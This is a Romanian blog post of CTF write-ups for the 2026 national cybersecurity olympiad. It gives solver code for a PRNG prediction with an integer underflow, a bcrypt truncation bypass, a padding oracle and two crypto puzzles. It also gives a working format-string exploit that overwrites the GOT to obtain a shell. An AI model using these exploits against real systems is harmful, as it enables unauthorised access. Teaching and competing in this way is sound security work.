Post

🇷🇴 Olimpiada de Securitate Cibernetica OSC 2026 - Faza Națională

Rezolvări pentru Olimpiada de Securitate Cibernetica OSC 2026 - etapa națională

Etapa națională a OSC 2026 s-a desfășurat în perioada 16-19 mai 2026 la București. Mai jos sunt rezolvările pentru probele pe care le-am abordat, împreună cu cele două probe de criptografie pe care le-am propus.

goblin-casino (Cryptography / Pwn)

Descriere:

1
2
În regatul Ababei, a apărut un cazinou nou-nouț: nefastul cazinou al gobliniilor.
Vei găsi o cale de a le sparge codul sau vei intra în datorii?

Soluție:

Binarul este un Go static, stripat, cu un PRNG de tip LCG pe 32 de biți previzibil:

1
2
state = (1664525 * state + 1013904223) mod 2^32
roll  = state % 10000

Proba conține două flag-uri. La start se afișează un blob criptat, iar un pariu pierdut afișează starea brută a PRNG-ului: Wrong! The number was <roll> (Raw: <state>). Întrucât multiplicatorul este inversabil modulo $2^{32}$, putem rula recurența înapoi pornind de la starea leak-uită și decripta banner-ul (XOR cu octetul superior al fiecărei stări succesive):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
A, C, MOD = 1664525, 1013904223, 1 << 32
A_INV = pow(A, -1, MOD)
next_state = lambda s: (A*s + C) % MOD
prev_state = lambda s: ((s - C) * A_INV) % MOD

def decrypt_blob(blob, leaked):
    state = leaked
    for _ in range(len(blob) + 1):
        state = prev_state(state)
    out = bytearray()
    for b in blob:
        state = next_state(state)
        out.append(b ^ ((state >> 24) & 0xFF))
    return bytes(out)

Al doilea flag necesită partea de pwn. Shop-ul vinde Flag of Debt la 10000 de aur, dar respinge balanțele bogate “normale”. Ramura exploatabilă este underflow-ul pe int32 cu semn ('Your debt is so profound it loops back to prosperity.'). După ce leak-uim starea cu un pariu pierdut de 1 aur, balanța este 99; prezicem rolele câștigătoare și pariem întreaga balanță (o câștigare adaugă 10 * bet, deci înmulțește balanța cu 11), iar ultimul pariu este ales astfel încât balanța pe 32 de biți să devină 0x80000001, adică negativă:

1
2
3
4
5
6
state = leak_state(io); balance = 99
for _ in range(7):
    state = gamble_win(io, state, balance)
    balance = signed32(balance * 11)
final_bet = ((0x80000001 - (balance & 0xFFFFFFFF)) & 0xFFFFFFFF) // 10
gamble_win(io, state, final_bet)

Rulat pe instanța live, scriptul returnează ambele flag-uri (CTF{...}).

RSB (Cryptography)

Descriere:

1
Run Some Brutes, the sequel of RSA

Soluție:

Serverul cere un name (maxim 10 caractere) și construiește un secret:

1
2
3
cel_mai_sigma = name.encode() + ('miniadmin1234' + "uitativa la Hell's Paradise!" + 32_random_chars).encode()
if bcrypt.hashpw(sigma, salt) == bcrypt.hashpw(cel_mai_sigma, salt):
    print(flag)

Vulnerabilitatea constă în faptul că bcrypt trunchiază input-ul la 72 de octeți. Prefixul fix miniadmin1234uitativa la Hell's Paradise! are 41 de octeți, iar cele 32 de caractere aleatorii sunt adăugate după el. Dacă alegem un name care, encodat, ocupă suficienți octeți încât prefixul fix să umple exact până la 72, atunci cei 32 de octeți aleatorii cad dincolo de limita de 72 și sunt ignorați de bcrypt.

len(name) numără code-point-uri (deci verificarea de 10 trece), însă .encode() produce mai mulți octeți pentru caractere multi-byte. Folosim 10 emoji (4 octeți fiecare = 40 octeți):

1
2
3
4
NAME  = "😀" * 10                                      # 40 octeți, dar len()==10
FIXED = "miniadmin1234" + "uitativa la Hell's Paradise!"
r.sendline(NAME.encode())
r.sendline((NAME + FIXED).encode())                    # primii 72 octeți coincid

NAME(40) + FIXED(41) = 81 de octeți, iar primii 72 sunt identici cu cei ai secretului de pe server. Hash-urile coincid și serverul returnează flag-ul (CTF{...}).

printy (Pwn)

Descriere:

1
Printam puncte

Soluție:

printf(user_input) clasic, adică o vulnerabilitate de format string fără format specifier. Binarul are canary și PIE, dar nu are seccomp. Pașii:

  1. Suprascriem __stack_chk_fail@GOT cu adresa funcției main printr-un fmtstr_payload. Astfel, la declanșarea stack smashing-ului, în loc să se termine, procesul re-intră în main și ne oferă format string-uri repetate.
  2. Leak-uim o adresă din libc cu %1$p și calculăm baza.
  3. Rescriem __stack_chk_fail@GOT cu un one_gadget și declanșăm din nou canary-ul pentru a obține shell.
1
2
3
4
5
6
7
8
9
payload = fmtstr_payload(6, {exe.got['__stack_chk_fail']: exe.sym['main']})
sl(payload.ljust(142, b"A"))

sl(b'%1$p'.ljust(142, b"B")); rcu(b'@@')
libc.address = int(rn(14), 16) - 0x21ab23

payload = fmtstr_payload(6, {exe.got['__stack_chk_fail']: libc.address + 0xebc85})
sl(payload.ljust(142, b"A"))
io.interactive()

Flag-ul (CTF{...}) se citește de pe instanța live.

macrohard-flop (Reverse Engineering / Cryptography)

Descriere:

1
Foaia de calcul a companiei a fost compromisă [...] o cheie criptată pierdută costă mult mai mult!

Soluție:

Binarul este o aplicație în Rust care pornește un GUI de tip spreadsheet peste HTTP. Workbook-ul conține blocuri criptate și o formulă de validare ascunsă:

1
=_xlfn.LEGACY.CHECK($B$78:$Q$79)

Reversând evaluatorul de formule, LEGACY.CHECK decriptează un bloc ales de 16 octeți, îl combină prin XOR cu alt bloc ales și raportează doar dacă rezultatul are padding PKCS#7 valid. Aceasta este o vulnerabilitate de tip padding oracle pe CBC.

1
2
3
tmp   = AES_DEC(hidden_key, scratch_b)
plain = tmp XOR scratch_a
return valid_pkcs7_padding(plain)   ->  "check passed" / "check failed"

Endpoint-urile utile sunt /api/state, /api/set, /api/recalc, /api/submit. Blocurile criptate ale flag-ului (64 de octeți = 4 blocuri) se află în B69:Q74, iar cele două rânduri editabile B78:Q78 (scratch A) și B79:Q79 (scratch B) ne oferă control complet asupra oracolului. Pentru CBC știm că P_i = DEC_K(C_i) XOR C_{i-1}, deci setăm scratch_b = C_i și scratch_a un bloc anterior fals, recuperând octet cu octet de la dreapta la stânga:

1
2
3
4
5
# pentru padding-ul țintă `pad`:
fake[j]   = intermediate[j] XOR pad           # bytes deja recuperați
fake[pos] = (guess XOR real_prev[pos]) XOR pad
# dacă "check passed": intermediate[pos] = guess XOR real_prev[pos]
plain[pos] = intermediate[pos] XOR real_prev[pos]

Solver-ul testează prioritar octeții probabili (OSC{, litere, cifre, _) pentru a rămâne sub limita de 8192 de verificări, apoi consumă verificările rămase, trimite flag-ul la /api/text și apelează /api/submit. Flag-ul real (OSC{...}) se obține pe instanța live.

rsc (Cryptography) - autor

Descriere:

1
2
Arhivarul Cetății Numerelor [...] a decis sa mute totul in planul complex.
[...] voi, eroii care ati terminat toata seria RS [...] va asteapta un Audi RS din partea lui infernosalex.

Soluție:

Proba implementează o exponențiere “în planul complex”: A = g^m mod p, cu m = bytes_to_long(flag), peste o clasă Complex definită manual. Punctul central este că înmulțirea este implementată greșit:

1
2
3
def __mul__(self, other):
    if type(other) == int: other = Complex(other, 0)
    return Complex(self.a * other.a, self.a * other.b + other.a * self.b)

Înmulțirea complexă corectă ar fi $(a+bi)(c+di) = (ac - bd) + (ad+bc)i$, dar aici partea reală este doar $a \cdot c$ - lipsește termenul $-bd$. Structura rezultată nu mai este cea a numerelor complexe, ci a numerelor duale $\mathbb{F}_p[\varepsilon]/(\varepsilon^2)$, unde:

\[(a + b\varepsilon)^m = a^m + m\,a^{m-1}\,b\,\varepsilon\]

Astfel, scriind $g = g_a + g_b\varepsilon$ și $A = A_a + A_b\varepsilon$:

\[A_a = g_a^m, \qquad A_b = m\,g_a^{m-1}\,g_b\]

Prin împărțire, logaritmul discret dispare complet (intenția probei era ca un “RSA mutat în complex” să nu mai necesite niciun discrete log):

\[\frac{A_b}{A_a} = \frac{m\,g_b}{g_a} \;\Longrightarrow\; m \equiv A_b \cdot g_a \cdot (A_a \cdot g_b)^{-1} \pmod p\]
1
2
3
from Crypto.Util.number import long_to_bytes
m = (Ab * ga) % p * pow((Aa * gb) % p, -1, p) % p
print(long_to_bytes(m))

Flag: OSC{felicitari_ai_rezolvat_crypto_dar_tot_n_ai_permis}

bdlp (Cryptography) - autor

Descriere:

1
bdlp nu inseamna mereu Bogdan ...

Soluție:

bdlp = baby discrete log problem. Sursa publică un prim mic și $y = g^x \bmod p$:

1
2
3
p = 49211
g = 2
y = 16752

Întrucât p are doar 16 biți, problema logaritmului discret este trivială și se rezolvă imediat prin brute-force sau Baby-Step Giant-Step:

1
2
3
4
5
6
7
p, g, y = 49211, 2, 16752
x, cur = None, 1
for e in range(p):
    if cur == y:
        x = e; break
    cur = (cur * g) % p
print(x)   # 44917

Logaritmul recuperat este $x = 44917$ (verificare: $2^{44917} \equiv 16752 \pmod{49211}$), valoare care formează flag-ul: OSC{44917}.

This post is licensed under CC BY 4.0 by the author.